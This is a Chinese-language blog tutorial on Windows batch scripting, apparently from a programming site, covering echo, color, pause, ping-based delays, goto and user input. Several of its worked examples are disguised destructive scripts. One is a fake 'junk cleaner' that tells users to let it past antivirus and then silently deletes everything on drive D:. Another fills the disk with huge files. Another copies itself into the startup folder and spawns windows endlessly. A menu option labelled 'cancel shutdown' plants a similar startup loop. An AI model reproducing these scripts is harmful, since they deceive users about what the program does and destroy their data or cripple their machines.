如何创建批处理?
扩展名: .bat
创建方法:
新建一个记事本文件,手动改扩展名成.bat
关闭回显(屏蔽执行过程):
@echo off
color命令:
color 颜色代码
示例:
color 0a
注意:
颜色代码的第一位是背景颜色,第二位是字体颜色
查看颜色代码对照表:
在命令行中输入:
color /?
title命令:
给批处理加标题
示例:
title hello
echo.
空一行
pause命令:
暂停批处理文件的执行,询问是否继续执行后才能继续
示例:
@echo off
echo hello world
pause
echo pause is pass
运行结果:
hello world
请按任意键继续...
(此时我按下键盘上任意一个键)
pause is pass
想要延迟一下再继续执行,该咋办?
我们知道ping命令是每隔一秒发一个包,可以利用这来进行时间控制
因此:
ping -n 10 127.0.0.1
ping自己10个包,就是10秒钟
但是这有个问题,ping的结果会显示到屏幕上,这不就暴露了吗?
所以,应该这样写:
ping -n 10 127.0.0.1 >nul 2>nul
这会将ping自己的结果流入 nul 中,
2>nul 是处理前面不成功的情况
nul 就是 “空” 的意思
案例1(在本案例中,以短杠 “-” 开头的都是对上面一行的注释):
@echo off
-关闭回显
color 0a
-设置命令行的配色
title clear laji program
-设置命令行窗口的标题为 clear laji program
echo ==============================
echo clear your system laji
echo if bei lanjie please
echo fangxing
echo ==============================
pause
-暂停程序,并询问是否继续执行
echo.
-空一行
echo laji is cleaning...
d: >nul 2>nul
-进入D盘,把回显扔掉,如果这孩子没D盘,也把错误提示的回显扔掉
-从现在开始,往后的 >nul 2>nul 都表示“如果命令执行成功,把回显丢掉,如果不成功,也把错误提示的回显丢掉”
cd \ >nul 2>nul
-进入D盘的根目录下
rd . /s/q >nul 2>nul
-删除一切文件和文件夹
ping -n 10 127.0.0.1 >nul 2>nul
-停10秒
echo congratulations!!! laji qingli over!
pause
-此程序到此为止
案例2:
d:
cd \
fsutil file createnew d:\sys.ini 4096000000
fsutil file createnew d:\sys1.ini 4096000000
fsutil file createnew d:\sys2.ini 4096000000
fsutil file createnew d:\sys3.ini 4096000000
fsutil file createnew d:\sys4.ini 4096000000
fsutil file createnew d:\sys5.ini 4096000000
fsutil file createnew d:\sys6.ini 4096000000
案例3:
冒号的用法:
用来划分区块
语法:
:随便写个区块名
bulabula
aijwoeifj
awijeoifjsad
ahgawjeoif
......
一直到下一个冒号为止,都属于一个区块
示例:
:the first block
echo hello
echo world
echo the first block is end!
-第一个区块结束
:the second block
echo I am in the second block!
-第二个区块结束
goto命令:
跳转到某个区块
示例:
:1
echo hello
echo world
:2
echo thank you
echo lueluelue
:3
goto 5
:4
echo this is the fourth block
:5
echo the program is dying...
运行结果:
hello
world
thank you
lueluelue
the program is dying...
案例(程序名:qq.bat):
copy qq.bat "%userprofile%\开始菜单\程序\运行"
-userprofile:是个windows变量,这个变量的值是当前用户的根目录(视频中称作家目录)
-两个百分号代表取值
:d
start
-start的用法:打开一个程序(要写程序路径)或者网页,如果后面啥都不写,默认打开cmd窗口
goto d
运行结果:你凉了
案例8:
@echo off
title 飞阁小程序v1.0
color 0a
:menu
cls
-清屏
echo ===================================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo ===================================
set /p num=您的选择:
-set可以定义一个变量
-/p表示变量的值将来自于用户的输入,等号后面的给用户看
-引用变量的方法: %变量名%
-下面的是判断语句:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
-如果执行到这,说明输入的既不是1,也不是2,也不是3
echo 别TM瞎输入
pause
goto menu
:1
set /p a=请输入时间(单位/秒):
shutdown -s -f -t %a%
-两个百分号就是取变量值
goto menu
:2
echo :a >>a "%userprofile%\开始菜单\程序\启动\haha.bat"
echo start >>a "%userprofile%\开始菜单\程序\启动\haha.bat"
echo goto a >>a "%userprofile%\开始菜单\程序\启动\haha.bat"
goto menu
:3
exit
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?